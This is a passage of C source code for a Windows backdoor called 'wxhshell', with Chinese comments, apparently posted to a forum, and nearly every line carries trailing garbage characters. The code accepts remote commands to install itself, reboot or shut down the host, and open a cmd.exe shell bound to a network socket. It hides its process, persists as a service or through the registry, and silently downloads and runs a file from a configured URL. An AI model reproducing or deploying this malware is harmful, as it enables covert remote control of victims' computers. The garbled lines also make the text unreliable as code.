      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -Cn x!g}  
    break; h]6m+oPW  
  } r? 9D/|`  
  // 安装 d23;c )'  
  case 'i': { n[[2<s*YJ  
    if(Install()) 813t=A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]?p 9)d=%<  
    else =;L44.,g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jJ.isr|`  
    break; kB#;s  
    } 0*J},#ba$  
  // 卸载 (V(8E%<c  
  case 'r': { H8!; XB  
    if(Uninstall()) op8[8pt%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2xxw8_~C  
    else f]sc[_n]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q%S^3C&  
    break; e^=b#!}-5:  
    } Z\[6 'R4.#  
  // 显示 wxhshell 所在路径 %2@O,uCo@  
  case 'p': { bVxbQ$  
    char svExeFile[MAX_PATH]; `8 Ann~Z|k  
    strcpy(svExeFile,"\n\r"); <nvzNXql  
      strcat(svExeFile,ExeFile); BbIg]E/G  
        send(wsh,svExeFile,strlen(svExeFile),0); 6N\f>c  
    break; sq rY<@%  
    } @|2sF  
  // 重启 #fVk;]u`[3  
  case 'b': { o? LJ,Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <D`VFSEJ  
    if(Boot(REBOOT)) |=u }1G?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;64(Vsa8  
    else { /1BqC3]tL  
    closesocket(wsh); L#k`>Qn2  
    ExitThread(0); W0+m A  
    } ()MUyW"S#`  
    break; 'O^<i`8U]  
    } GIM'H;XG  
  // 关机 +\x}1bNS%j  
  case 'd': { 7`J= PG$A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~ugyUpY"  
    if(Boot(SHUTDOWN)) {i"t h(J$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;Y*f,UG_-  
    else { ) :VF^"  
    closesocket(wsh); tk\)]kj  
    ExitThread(0); #z#`EBXV$6  
    } q[TGEgG  
    break;  myOdf'=  
    } E#n=aY~u-  
  // 获取shell $DeVXW  
  case 's': { OrY^?E  
    CmdShell(wsh); ?_`X8Ok  
    closesocket(wsh); ,1 ^IFBJ  
    ExitThread(0); bLSUF`-z  
    break; DQ.;2W  
  } !j%#7  
  // 退出 \Lg{GN.  
  case 'x': { p~yGp] yJ9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %7A?gY81  
    CloseIt(wsh); Utj4f-M  
    break; ih=O#f|  
    } 63SmQsv  
  // 离开 UO( ?EELm  
  case 'q': { UM}MK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5H2Ugk3  
    closesocket(wsh); .23Yqr'zT  
    WSACleanup(); si1Szmx,  
    exit(1); FO:k >F  
    break; bScW<DZJ-  
        } ZC97Z sE  
  } KkZS6rD\  
  } TFO4jjiC"  
yq6:7<  
  // 提示信息 (5GjtFojY|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6& KcO:}-  
} X\1.,]O >  
  } ,.i)(Or  
lZJbQ=K{  
  return; E`#/m@:|-  
} \t ^9UN  
)sLXtV)nm6  
// shell模块句柄 rnP *}  
int CmdShell(SOCKET sock) |3C5"R3ZGO  
{ do DpTwvh  
STARTUPINFO si; [orS-H7^  
ZeroMemory(&si,sizeof(si)); y Dw#V`Y^M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]SL0Mn g8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &+")~2 +  
PROCESS_INFORMATION ProcessInfo; evlz R/  
char cmdline[]="cmd"; zRFvWOxC\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 64l(ru<  
  return 0; ;v m$F251  
} ^q\9HBHT  
QFU1l"(qGk  
// 自身启动模式 Eb89B%L62G  
int StartFromService(void) ;oWak`]f  
{ LfX[(FP  
typedef struct u&r+ylbs I  
{ jfjT::f>l  
  DWORD ExitStatus; +K:hetv  
  DWORD PebBaseAddress; PDhoCAh !  
  DWORD AffinityMask; f5,!,]XO  
  DWORD BasePriority; .$-GGvN]  
  ULONG UniqueProcessId; \s_`ZEB  
  ULONG InheritedFromUniqueProcessId; b$N&sZ  
}   PROCESS_BASIC_INFORMATION; ^gY3))2_  
f vr|<3ojo  
PROCNTQSIP NtQueryInformationProcess; q]wP^;\Jl  
V?N8 ,)j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !T~C=,;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b|nh4g  
E&>=  
  HANDLE             hProcess; *V?p&/>MT  
  PROCESS_BASIC_INFORMATION pbi; fu{.Ir  
xnPi'?A]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C]NL9Gq`  
  if(NULL == hInst ) return 0; >tTu1#t  
L]{1@~E:q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u9D#5NvGs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DGO\&^GT^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y1 *8&xT  
xMHu:,ND  
  if (!NtQueryInformationProcess) return 0; v_I)eac z  
;}4^WzmK^(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Qb?e A  
  if(!hProcess) return 0; .{4U]a;[  
1Y{pf]5Wx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q$8K-5U%  
]OLe&VRix  
  CloseHandle(hProcess); @h!nVf%fe  
@aUQy;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); evGUl~</~  
if(hProcess==NULL) return 0; h9I vuv'  
S94S[j0D  
HMODULE hMod; CC,CKb  
char procName[255]; k.!m-5E  
unsigned long cbNeeded; $n* wS,  
(X~JTH:e/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YK)e  
69$gPY'3  
  CloseHandle(hProcess); UQ}#=[)2e  
VQ^}f/A  
if(strstr(procName,"services")) return 1; // 以服务启动 oP_}C[  
/<Yz;\:Jy  
  return 0; // 注册表启动 ;- 6   
} ~ ^*;#[<  
:EV*8{:aLU  
// 主模块 z~Is E8  
int StartWxhshell(LPSTR lpCmdLine) +MyXIWmD  
{ GEtzLaq<  
  SOCKET wsl; Cnv?0to2l  
BOOL val=TRUE; ~zhP[qA})  
  int port=0; 5DmW5w'p  
  struct sockaddr_in door; _p;=]#+c&  
>*Ctp +X@  
  if(wscfg.ws_autoins) Install(); {P'^X+B0*  
GGez!?E%  
port=atoi(lpCmdLine); K(}g!iT)~  
raJv$P  
if(port<=0) port=wscfg.ws_port; UZx8ozv'  
ZK5 wZU  
  WSADATA data; >,a$)z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GBYwS{4  
nR8r$2B+t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   74fE%;F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HwZ"l31  
  door.sin_family = AF_INET; ";;Nc>-Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^T*'B-`C7X  
  door.sin_port = htons(port); x Tf|u  
p mUG`8SY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OBL2W\{  
closesocket(wsl); 7UsU03  
return 1; s y>}2orj~  
} 7f>~P_  
0SV4p.  
  if(listen(wsl,2) == INVALID_SOCKET) { {<Y\flj{@m  
closesocket(wsl); odKdpa Zc[  
return 1; =[LUOOR*]  
} S!h=HE  
  Wxhshell(wsl); <+_WMSf;4  
  WSACleanup(); J*4T| #0  
e[Jh7r>'  
return 0; L~E|c/  
=w ! 6un  
} cs?IzIQ  
y'C  
// 以NT服务方式启动 6e%ZNw{#=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w+gPU1|(r  
{ Ie(M9QMp  
DWORD   status = 0; J+m1d\lBu  
  DWORD   specificError = 0xfffffff; Xa$-Sx  
`]F#j ]"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <&l@ ):a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z@[-+Q:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v)JS4KS  
  serviceStatus.dwWin32ExitCode     = 0; +NTC!/  
  serviceStatus.dwServiceSpecificExitCode = 0; xwojjiV  
  serviceStatus.dwCheckPoint       = 0; Bdm05}c@u  
  serviceStatus.dwWaitHint       = 0; `t>:i!s/  
gWfMUl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dy4~~~^A  
  if (hServiceStatusHandle==0) return; Bhk@0\a  
vngn^2  
status = GetLastError(); Dlg9PyQ  
  if (status!=NO_ERROR) R%6KxN)+@  
{ S3^(L   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )i<Qg.@MX  
    serviceStatus.dwCheckPoint       = 0; K_%gda|l+  
    serviceStatus.dwWaitHint       = 0; OlM3G^1e1  
    serviceStatus.dwWin32ExitCode     = status; ?hKpJA'%  
    serviceStatus.dwServiceSpecificExitCode = specificError; y>0Gmr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7`tJ/xtMy;  
    return; Bh;N:{&^Eu  
  } 4wPP/`  
C?g<P0h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a1z*Z/!5  
  serviceStatus.dwCheckPoint       = 0; _Uhl4Mh  
  serviceStatus.dwWaitHint       = 0; as"@E>a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J7wIA3.O  
} x{S2   
yC7lR#N8j0  
// 处理NT服务事件,比如:启动、停止 p21li}Iu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $V;0z~&!'  
{ 5ljEh -  
switch(fdwControl) Esf\Bo"  
{ aX? tnDv  
case SERVICE_CONTROL_STOP: a~Yq0d?`D  
  serviceStatus.dwWin32ExitCode = 0; xn anca  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @[bFlqs E  
  serviceStatus.dwCheckPoint   = 0; ohi0_mBz  
  serviceStatus.dwWaitHint     = 0; 's$/-AV  
  {  NG?g(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m}'!W`<  
  } *mn"G K6  
  return; S}6xkX  
case SERVICE_CONTROL_PAUSE: G,6 i!M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yeA]j[ #  
  break; eg"A?S  
case SERVICE_CONTROL_CONTINUE: _7 ^:1i~:.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o_&Qb^W  
  break; !*o{xq   
case SERVICE_CONTROL_INTERROGATE: 4jC7>mE  
  break; _+}f@&"  
}; r ?z}TtDp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '`j MNKn\  
} ^(KDtc  
NMESGNa)z  
// 标准应用程序主函数 WQMoAPfqL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )1f.=QZN^;  
{ *A0*.>@N  
_po5j;"_O  
// 获取操作系统版本 =b>e4I@  
OsIsNt=GetOsVer(); [^gb6W9Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6uxF<  
1z_1Hl  
  // 从命令行安装 iB+ _+A  
  if(strpbrk(lpCmdLine,"iI")) Install(); dv?t;D@p!  
Qjmo{'d  
  // 下载执行文件 _O&P!hI  
if(wscfg.ws_downexe) { qyjVB/ko  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S 9;FD3  
  WinExec(wscfg.ws_filenam,SW_HIDE); %DKC/%  
} dw'P =8d  
I(<Trn  
if(!OsIsNt) { 2Hk21y\  
// 如果时win9x,隐藏进程并且设置为注册表启动 (/7cXd@\6  
HideProc(); G> s qfYkK  
StartWxhshell(lpCmdLine); lU.aDmy<  
} \/9O5`u*V  
else K6,d{n  
  if(StartFromService()) AvB21~t&]  
  // 以服务方式启动 % -.V6}V  
  StartServiceCtrlDispatcher(DispatchTable);  ~;uU{TT  
else %&eBkN!T  
  // 普通方式启动 *r ('A  
  StartWxhshell(lpCmdLine); _5o5/@  
0 > QqsQ  
return 0; CHDt^(oa!B  
}
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只看该作者 1 发表于: 2006-10-10
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